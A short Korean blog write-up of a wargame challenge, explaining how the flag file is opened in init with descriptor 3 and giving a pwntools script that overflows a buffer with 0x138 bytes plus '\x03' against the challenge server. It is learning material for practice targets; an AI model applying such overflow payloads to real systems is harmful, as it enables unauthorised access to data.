-
메인함수
flag_함수
위 처럼 두 함수가 있어서, fp부분을 top_secret이 아니라 flag로 바꿔주면 될듯하다. 그런데 gdb로 까본 결과, fp가 놀랍게도 포인터라서 주소가 쓰여있는 줄 알았는 데 그런게 아니라 4가 쓰여있었다.
파일 포인터는 주소가 쓰여있는 게 아니라 불러와진 순서? 정도만 쓰여있는 듯. rip를 flag함수로 옮겨보기도 하였는 데 리턴값이 5인 것을 보고 알았음 ㅇㅇ...
하여튼 그래서 어떻게 할지 고민을 하다가,
flag가 init함수에 xreference를 두고있어서 올라가보니 처음 start함수가 libc_start_main을 할 때, init함수를 메인함수보다 먼저 호출을 하는 데, 그때 이미 flag가 파일 포인터로 열리게 된다. 즉 flag의 파일 포인터는 3
#!/usr/bin/python from pwn import* p = remote("ctf.j0n9hyun.xyz",3031) #p = process("./j0n9hyun_secret") p.sendline("a"*0x138+"\x03") p.interactive()
'Writeup > Wargame_Writeup' 카테고리의 다른 글
[Reversing.kr] 6_ImagePrc (0) 2020.02.05 [Reversing.kr] 5_Replace.exe (0) 2020.02.04 HackCTF Unexploitable #2 (0) 2020.01.23 [Flare-on 2019] Reloadered (0) 2020.01.21 [Flare-on 2019] Snake (0) 2020.01.21 댓글